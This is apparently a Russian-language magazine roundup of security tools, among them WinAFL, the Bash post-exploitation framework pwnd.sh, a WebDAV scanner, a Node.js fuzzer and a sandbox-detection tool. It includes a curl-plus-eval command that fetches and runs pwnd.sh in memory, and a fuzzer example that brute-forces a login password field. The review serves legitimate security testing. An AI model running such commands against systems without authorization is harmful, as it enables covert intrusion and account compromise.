Содержание статьи
Форк оригинального AFL для Windows
Уже достаточно давно сердца всех любителей фаззинга покорил AFL от Михала Залевски (Michal Zalewski) для фаззинга с расширением покрытия кода, что позволяет ему проверить больше путей программы. Только вот одна незадача: он отлично работает лишь при наличии исходного кода проекта на *nix-системах, что, как ты сам понимаешь, не всегда выполнимо, особенно для приложений под ОС Windows.
WinAFL — это форк оригинального AFL для ОС Windows, позволяющий фаззить сразу исполняемые файлы. Данный инструмент использует не compilation time инструментацию, как оригинал, а динамическую бинарную инструментацию, реализованную в движке DynamoRIO. Стоит отметить, что такое изменение в подходах вносит оверхед в два раза по сравнению с оригинальной скоростью работы программы.
Для сборки проекта понадобится Visual Studio Command Prompt, и отдельно собирается версия как для 32-битной, так и 64-битной системы. А пример запуска программы под этим фаззером выглядит вот таким образом:
path\to\DynamoRIO\bin64\drrun.exe -c winafl.dll -debug -target_module test_gdiplus.exe -target_offset 0x1270 -fuzz_iterations 10 -nargs 2 -- test_gdiplus.exe input.bmp
Post-exploitation фреймворк для Bash
Pwnd.sh — это post-exploitation-фреймворк (и интерактивный шелл), разработанный на скриптовом языке оболочки Bash. Он нацелен на кросс-платформенность с минимальными сторонними зависимостями.
Установка:
$ cd bin/
$ ./compile_pwnd_sh.sh
Это сгенерирует файл под названием pwnd.sh, и уже можно приступать к делу. При этом скрипт отлично работает в памяти, то есть даже в файловых системах read-only, и отлично исчезает после перезагрузки. Один из способов такого запуска выглядит следующим образом:
# Создаем переменную X
# Устанавливаем X в значение pwnd.sh (получаем через curl)
$ X=`curl -fsSL "https://raw.githubusercontent.com/SafeBreach-Labs/pwndsh/master/bin/pwnd.sh"`
# Используем Bash eval
$ eval "$X"
Более подробно об инструменте можно узнать из презентации Just Got PWND.sh с конференции SkyDogCon 2016.
Быстрый и легковесный WebDAV-сканер
DAVScan — это быстрый и легковесный WebDAV-сканер, разработанный для обнаружения скрытых файлов и директорий на серверах с включенным протоколом WebDAV. Сканер вычисляет неправильно сконфигурированные серверы, серверы с избыточными привилегиями, серверы с уязвимостями раскрытия информации или обхода аутентификации. Сканер пытается сначала определить версию сервера, а затем опробовать все результаты, выданные через запрос PROPFIND.
Особенности:
- определение заголовка сервера: если сервер возвращает валидный хедер, DAVScan ищет доступные публичные эксплоиты под него;
- первичное WebDAV-сканирование через PROPFIND: быстрое сканирование с целью выявить что-либо видимое через WebDAV;
- обход unicode-аутентификации: экспериментальная опция, требует перепроверки правильности срабатывания;
- исключение DoS-эксплоитов из списка: при работе ты можешь исключить данный тип эксплоитов (опция -d);
- исключение модулей MSF из списка (опция -m).
Использовать можно так:
$ davscan.py [-h] -H HOST [-p PORT] [-a AUTH] [-u USER] [-P PASSWORD] [-o OUTFILE] [-d ] [-m ]
То есть необходимая опция для запуска — это только -H и наименование хоста. Если не задана опция выходного файла, то результаты будут записываться в /tmp/davout.
Асинхронный фаззер на Node.js
Еще один фаззер, написанный на Node.js, но отличающийся от многих использованием мощи асинхронных/неблокирующих функций ввода-вывода Node.js. Это позволяет делать ОЧЕНЬ БЫСТРЫЕ веб-запросы.
Способен фаззить:
- URL;
- данные POST;
- заголовки HTTP;
- фильтры.
Может фильтровать ответы по кодам ошибок, номеру слова, номеру строки, тексту. Полезные нагрузки: список слов, брутфорс, диапазон.
Установка:
$ npm install
Пример запуска фаззинга POST-данных, используй словарик и фильтруй по тексту:
$ node urlfuzz.js http://localhost/login.php -d "user=admin&pass=#FUZZ#" -w big.txt --ht denied
Инспектор для изучения ссылок глубокого веба
ONIOFF — инспектор Onion URL’ов. Это простая тулза, написанная на чистом Python, для изучения URL’ов глубокого веба (Deep Web). Она принимает на вход ссылки и возвращает их текущий статус вместе с названием самих страничек.
Совместима с Python 2.6 и 2.7.
Установка:
$ git clone https://github.com/k4m4/onioff.git
$ cd onioff
$ pip install -r requirements.txt
Поддерживается считывание ссылок из файла и запись отчета в файл. Пример запуска:
$ python onioff.py -f ~/onions.txt -o ~/report.txt
Здесь onions.txt — файл с ссылками, а report.txt — файл, куда будут записываться результаты.
Инструмент для обнаружения sandbox-окружений
Sandbox detection tool — это инструмент для обнаружения виртуальных окружений. Он содержит самые свежие техники детекта, вместе с этим ты можешь модифицировать их самостоятельно без редактирования исходного кода.
Поддерживаемые окружения:
- Cuckoo Sandbox;
- продукты VMware;
- VirtualBox.
Особенности:
- легко расширяем: быстро добавляется поддержка новых виртуальных сред;
- в инструменте содержатся все техники по обнаружению Cuckoo Sandbox — самого распространенного виртуального окружения для автоматического анализа малвари;
- возможность добавлять новые техники обнаружения не путем изменения исходного кода, а с помощью конфигурационных файлов JSON, то есть можно добавлять способы обнаружения даже самостоятельно;
- понятные отчеты: их могут читать как хардкорные специалисты, так и высший менеджмент.
Более подробно об инструменте можно узнать из презентации Defeating Sandbox Evasion с конференции Virus Bulletin 2016.
Windows screen recorder
Windows screen recorder — это простой инструмент для записи происходящего на экране ОС Windows. Написан на Python 2.7 и PyQt5. При этом установочный файл не зависит от установленной версии Python и PyQt.
Инсталлер добавит инструмент в меню «Пуск», но его же можно напрямую вызывать и из программы на Python. Для этого надо зарегистрировать библиотеки Qt-screen-capture-recorder.dll
и Qt-screen-capture-recorder-x64.dll
с помощью скрипта register_run_as_admin.bat
.
Управлять рекордером можно через значок в системном трее, просто кликнув по нему левой или правой кнопкой мыши.